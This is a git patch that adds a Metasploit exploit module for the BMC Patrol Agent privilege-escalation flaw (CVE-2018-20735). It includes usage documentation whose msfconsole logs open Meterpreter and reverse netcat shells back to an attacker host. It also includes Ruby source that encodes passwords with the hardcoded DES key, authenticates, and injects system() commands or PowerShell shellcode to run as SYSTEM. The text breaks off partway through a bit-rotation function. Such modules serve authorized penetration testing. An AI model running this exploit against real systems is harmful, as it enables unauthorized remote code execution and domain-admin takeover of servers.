From 8d01b4de838e4006c9137659eb4fc9115d946fa2 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 15 Mar 2019 13:21:06 -0500 Subject: [PATCH] Land #11382, Added BMC Patrol Agent Command Exec Module --- .../exploit/multi/misc/bmc_patrol_cmd_exec.md | 94 ++ .../multi/misc/bmc_patrol_cmd_exec.rb | 1133 +++++++++++++++++ 2 files changed, 1227 insertions(+) create mode 100644 documentation/modules/exploit/multi/misc/bmc_patrol_cmd_exec.md create mode 100644 modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb diff --git a/documentation/modules/exploit/multi/misc/bmc_patrol_cmd_exec.md b/documentation/modules/exploit/multi/misc/bmc_patrol_cmd_exec.md new file mode 100644 index 0000000000..0d8c06c4f8 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/bmc_patrol_cmd_exec.md @@ -0,0 +1,94 @@ +## Description +This module exploits the lack of proper authorization checks in the BMC Patrol Agent that allows arbitrary operating system commands to be executed at a higher privilege level than the user being authenticated. The module is simply a ruby implementation of the remote protocol provided by BMC Patrol Agent to execute system commands. + +The vulnerability was identified by Ryan Wincey of [Securifera](https://www.securifera.com/) and was assigned [CVE-2018-20735](https://www.cvedetails.com/cve/CVE-2018-20735/) Further details can be found at the [Securifera website](https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/). + + +## Vulnerable Application +The module affects the BMC Patrol Agent component of [BMC TrueSight Infrastructure Management](https://docs.bmc.com/docs/TSInfrastructure/113/home-774795879.html). The agent is installed on servers managed using BMC TrueSight Infrastructure Management and listens on TCP port 3181. The vulnerability affects versions up to 11.3. + +## Verification Steps +To use this exploit you will need access to BMC Patrol Agent. + +1. Install the BMC Patrol agent on a host. +2. Ensure that the PatrolAgent service is running and listening on TCP port 3181. +3. Launch `msfconsole`. +4. Load the module `use exploit/multi/misc/bmc_patrol_cmd_exec`. +5. Set the username to authenticate with `set USER patrol`. +6. Set the password for the user `set PASSWORD password`. +7. Set the command to execute `set CMD "whoami"`. +8. Run the exploit `exploit`. + +The result should be that the string `nt authority\system` is returned and output. + +## Usage Scenarios +The exploit module contains several targets as detailed below. + +### Target 0: Windows Powershell Injected Shellcode +This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell). + + msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.133 + RHOSTS => 192.168.162.133 + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set LHOST 192.168.162.128 + LHOST => 192.168.162.128 + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set payload windows/meterpreter/reverse_tcp + payload => windows/meterpreter/reverse_tcp + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER user + USER => user + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password + PASSWORD => password + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit -j + [*] Exploit running as background job 0. + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > + [*] Started reverse TCP handler on 192.168.162.128:4444 + [*] 192.168.162.133:3181 - Connected to BMC Patrol Agent. + [*] 192.168.162.133:3181 - Successfully authenticated user. + [*] Sending stage (179779 bytes) to 192.168.162.133 + [*] Meterpreter session 1 opened (192.168.162.128:4444 -> 192.168.162.133:58461) at 2019-02-10 23:00:03 -0500 + + +### Target 1: Generic Cmd +This target can be used with *cmd* payloads to execute operating system commands against the target host. + + msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.130 + RHOSTS => 192.168.162.130 + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set LHOST 192.168.162.128 + LHOST => 192.168.162.128 + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER patrol + USER => patrol + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password + PASSWORD => password + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set TARGET 1 + TARGET => 1 + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PAYLOAD cmd/unix/reverse_netcat + PAYLOAD => cmd/unix/reverse_netcat + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit -j + [*] Exploit running as background job 0. + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > + [*] Started reverse TCP handler on 192.168.162.128:4444 + [*] 192.168.162.130:3181 - Connected to BMC Patrol Agent. + [*] 192.168.162.130:3181 - Successfully authenticated user. + [*] Command shell session 1 opened (192.168.162.128:4444 -> 192.168.162.130:57408) at 2019-02-10 23:05:12 -0500 + + +### Target Cmd Execution: Windows/Unix/Linux +This target isn't a formal target. It was added to allow a user to execute commands entirely through the Patrol Agent remote administration feature and view the output. It would be the most quiet of the targets as it does not create any additional connections or use powershell by default like Target 0. + + msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.133 + RHOSTS => 192.168.162.133 + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER user + USER => user + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password + PASSWORD => password + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set CMD whoami + msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit + [*] 192.168.162.133:3181 - Connected to BMC Patrol Agent. + [*] 192.168.162.133:3181 - Successfully authenticated user. + [*] 192.168.162.133:3181 - Command to execute: whoami + [*] 192.168.162.133:3181 - Output: + nt authority\system + + diff --git a/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb b/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb new file mode 100644 index 0000000000..bd164b1c56 --- /dev/null +++ b/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb @@ -0,0 +1,1133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'zlib' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Powershell + + @deflater = nil + @inflater = nil + + SBOXES = [ + 0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000, + 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0, + 0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000, + 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000, + 0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000, + 0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000, + 0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0, + 0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002, + 0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800, + 0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000, + 0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002, + 0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000, + 0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002, + 0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004, + 0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000, + 0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004, + 0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000, + 0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004, + 0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0, + 0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004, + 0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004, + 0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004, + 0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004, + 0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000, + 0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0, + 0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000, + 0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400, + 0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000, + 0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400, + 0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0, + 0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400, + 0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000, + 0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000, + 0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001, + 0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001, + 0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001, + 0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001, + 0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000, + 0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000, + 0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002, + 0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000, + 0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002, + 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000, + 0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002, + 0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110, + 0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000, + 0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000, + 0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110, + 0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000, + 0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000, + 0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110, + 0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110, + 0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000, + 0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0, + 0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008, + 0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000, + 0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000, + 0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000, + 0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000, + 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000, + 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000, + 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, + 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, + 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110, + 0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000, + 0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110, + 0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110, + 0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110, + 0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110, + 0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000, + 0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000, + 0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000, + 0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000, + 0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000, + 0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008, + 0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800, + 0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000, + 0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800, + 0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801, + 0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1, + 0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800, + 0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400, + 0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400, + 0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400, + 0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000, + 0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, + 0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400, + 0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000, + 0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000, + 0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, + 0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220, + 0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220, + 0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220, + 0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220, + 0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220, + 0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220, + 0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000, + 0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220, + 0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000, + 0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0, + 0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220 + ].freeze + + PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\ + "\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\ + "\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\ + "\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze + + PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\ + "\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\ + "\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\ + "\x23\x1C\x1F".freeze + + SBOX_BYTE_ORDER = [ + 1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000, + 0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000, + 0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000, + 0x40000000, 0x80000000 + ].freeze + + ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze + INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze + INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze + + DES_ENCRYPT = 0 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution', + 'Description' => %q( + This module leverages the remote command execution feature provided by + the BMC Patrol Agent software. It can also be used to escalate privileges + on Windows hosts as the software runs as SYSTEM but only verfies that the password + of the provided user is correct. This also means if the software is running on a + domain controller, it can be used to escalate from a normal domain user to domain + admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses + powershell to execute the payload. The powershell version tends to timeout on + the first run so it may take multiple tries. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'b0yd' # @rwincey / Vulnerability Discovery and MSF module author + ], + 'References' => + [ + ['CVE', '2018-20735'], + ['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/'] + ], + 'Platform' => ['win', 'linux'], + 'Targets' => + [ + [ + 'Windows Powershell Injected Shellcode', { + 'Platform' => 'win' + } + ], + [ + 'Generic Command Callback', { + 'Arch' => ARCH_CMD, + 'Platform' => %w[linux unix win] + } + ] + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'DisablePayloadHandler' => true + }, + 'DisclosureDate' => 'Jan 17 2019')) + + register_options( + [ + Opt::RPORT(3181), + OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']), + OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']), + OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.']) + ] + ) + + end + + def cleanup + disconnect + print_status("Disconnected from BMC Patrol Agent.") + @inflater.close + @deflater.close + super + end + + def get_target_os(srv_info_msg) + lines = srv_info_msg.split("\n") + fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}" + + os = nil + ver = nil + lines[2..-2].each do |i| + val = i.split("=") + if val.length == 2 + if val[0].strip! == "T" + os = val[1] + elsif val[0].strip! == "VER" + ver = val[1] + end + end + end + [os, ver] + end + + def get_cmd_output(cmd_output_msg) + + lines = cmd_output_msg.split("\n") + fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}" + + # Parse out command results + idx_start = cmd_output_msg.index("Result\x00") + idx_end = cmd_output_msg.index("RemPsl_user") + output = cmd_output_msg[idx_start + 7..idx_end - 1] + + output + end + + def exploit + + # Manually start the handler if not running a single command + if datastore['CMD'].nil? || datastore['CMD'].empty? + + # Set to nil if the cmd is empty for checks further down + datastore['CMD'] = nil + datastore['DisablePayloadHandler'] = false + + # Configure the payload handler + payload_instance.exploit_config = { + 'active_timeout' => 300 + } + # Setup the payload handler + payload_instance.setup_handler + + # Start the payload handler + payload_instance.start_handler + + end + + # Initialize zlib objects + @deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY) + @inflater = Zlib::Inflate.new + + # Connect to the BMC Patrol Agent + connect + print_status("Connected to BMC Patrol Agent.") + + # Create session msg + create_session + ret_data = receive_msg + fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil? + + # Authenticate + authenticate_user(datastore['USER'], datastore['PASSWORD']) + + # Receive the authentication response + ret_data = receive_msg + fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil? + + ret_msg = process_response(ret_data) + if ret_msg =~ /logged in/ + print_status("Successfully authenticated user.") + else + fail_with(Failure::UnexpectedReply, "Login failed. Aborting.") + end + + # Receive the server info + ret_data = receive_msg + fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil? + srv_info = process_response(ret_data) + + # Get the target's OS from their info msg + target_os = get_target_os(srv_info) + + # When using autotargeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil? + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + target_name = target.name + if !datastore['CMD'].nil? + command = datastore['CMD'].tr('"', '\"') + print_status("Command to execute: #{command}") + elsif target_name == 'Windows Powershell Injected Shellcode' + # Get encoded powershell of payload + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection') + else + command = payload.raw.tr('"', '\"') + end + + # Run command + run_cmd(command) + + # Receive command confirmation + ret_data = receive_msg + if !ret_data.nil? + process_response(ret_data) + end + + # Receive command output + ret_data = receive_msg + if !ret_data.nil? && !datastore['CMD'].nil? + cmd_result_data = process_response(ret_data) + cmd_result = get_cmd_output(cmd_result_data) + print_status("Output:\n#{cmd_result}") + end + + # Handle the shell + handler + + end + + def receive_msg + + header = sock.get_once(6) + if header.nil? + return + end + + payload_size_arr = header[0, 4] + payload_size = payload_size_arr.unpack1("N") + payload = '' + if payload_size > 0 + payload = sock.get_once(payload_size) + if payload.nil? + return + end + end + + return header + payload + + end + + def send_msg(type, compression, data) + + data_len = data.length + buf = [data_len].pack('N') + + # Set the type + buf += [type].pack('C') + + # Set compression flag + buf += [compression].pack('C') + + # Add data + buf += data + + # Send msg + sock.put(buf) + + end + + def process_response(ret_data) + + # While style checks complain, I intend to leave this parsing + # in place for debugging purposes + ret_size_arr = ret_data[0, 4] + ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment + + msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment + comp_flag = ret_data[5, 1] + + payload_data = ret_data[6..-1] + if comp_flag == "\x00" + bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment + payload_data = @inflater.inflate(payload_data) + end + + return payload_data + + end + + def run_cmd(cmd) + + user_num = rand 1000..9999 + msg_1 = %(R_E +{ +\tRE_ID=1 +\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num} +\tRE_ORG=PemApi +\tRE_SEV=1 +\tRE_NSEV=5 +\tRE_ST= +} +) + + msg_1 += "\x00" + # Compress the message + comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH + send_msg(0x44, 0x0, comp_data) + + end + + def identify(user) + + inner_len = 15 + msg_type = 8 + len_str = [inner_len].pack("N") + msg_str = [msg_type].pack("N") + msg_1 = %(PEM_MSG +{ +\tNSDL=#{inner_len} +\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00 +} +) + msg_1 += "\x00" + print_status("Msg: #{msg_1}") + bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment + # Compress the message + comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH + send_msg(0x44, 0x0, comp_data) + + end + + def create_session + sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00" + sess_msg += "\x00" * 0x68 + send_msg(0x45, 0x2, sess_msg) + end + + def authenticate_user(user, password) + # Default encryption key + enc_key = 'k$C4}@"_' + output_data = des_crypt_func(password, enc_key, DES_ENCRYPT) + # Convert to hex string + encrpted_pw = output_data.unpack1("H*") + des_pw = encrpted_pw.upcase + + msg_1 = %(ID +{ +\tHOST=user +\tUSER=#{user} +\tPASS=#{des_pw} +\tVER=V9.6.00 +\tT=PEMAPI +\tHTBT=1 +\tTMOT=1728000 +\tRTRS=3 +} +) + + msg_1 += "\x00" + comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH + send_msg(0x44, 0x0, comp_data) + + end + + def rotate_block_init(input_block_tuple) + + v6 = 0 + v5 = 0 + input_block_tuple = input_block_tuple.pack("V*").unpack("i*") + v3 = input_block_tuple[0] + v4 = input_block_tuple[1] + + if (v4 & 0x2000000) != 0 + v5 = 1 + end + if (v4 & 0x20000) != 0 + v5 |= 2 + end + if (v4 & 0x200) != 0 + v5 |= 4 + end + if (v4 & 2) != 0 + v5 |= 8 + end + if (v3 & 0x2000000) != 0 + v5 |= 0x10 + end + if (v3 & 0x20000) != 0 + v5 |= 0x20 + end + if (v3 & 0x200) != 0 + v5 |= 0x40 + end + if (v3 & 2) != 0 + v5 |= 0x80 + end + if (v4 & 0x8000000) != 0 + v5 |= 0x100 + end + if (v4 & 0x80000) != 0 + v5 |= 0x200 + end + if (v4 & 0x800) != 0 + v5 |= 0x400 + end + if (v4 & 8) != 0 + v5 |= 0x800 + end + if (v3 & 0x8000000) != 0 + v5 |= 0x1000 + end + if (v3 & 0x80000) != 0 + v5 |= 0x2000 + end + if (v3 & 0x800) != 0 + v5 |= 0x4000 + end + if (v3 & 8) != 0 + v5 |= 0x8000 + end + if (v4 & 0x20000000) != 0 + v5 |= 0x10000 + end + if (v4 & 0x200000) != 0 + v5 |= 0x20000 + end + if (v4 & 0x2000) != 0 + v5 |= 0x40000 + end + if (v4 & 0x20) != 0 + v5 |= 0x80000 + end + if (v3 & 0x20000000) != 0 + v5 |= 0x100000 + end + if (v3 & 0x200000) != 0 + v5 |= 0x200000 + end + if (v3 & 0x2000) != 0 + v5 |= 0x400000 + end + if (v3 & 0x20) != 0 + v5 |= 0x800000 + end + if (v4 < 0) + v5 |= 0x1000000 + end + if (v4 & 0x800000) != 0 + v5 |= 0x2000000 + end + if (v4 & 0x8000) != 0 + v5 |= 0x4000000 + end + if (v4 & 0x80) != 0 + v5 |= 0x8000000 + end + if (v3 < 0) + v5 |= 0x10000000 + end + if (v3 & 0x800000) != 0 + v5 |= 0x20000000 + end + if (v3 & 0x8000) != 0 + v5 |= 0x40000000 + end + if (v3 & 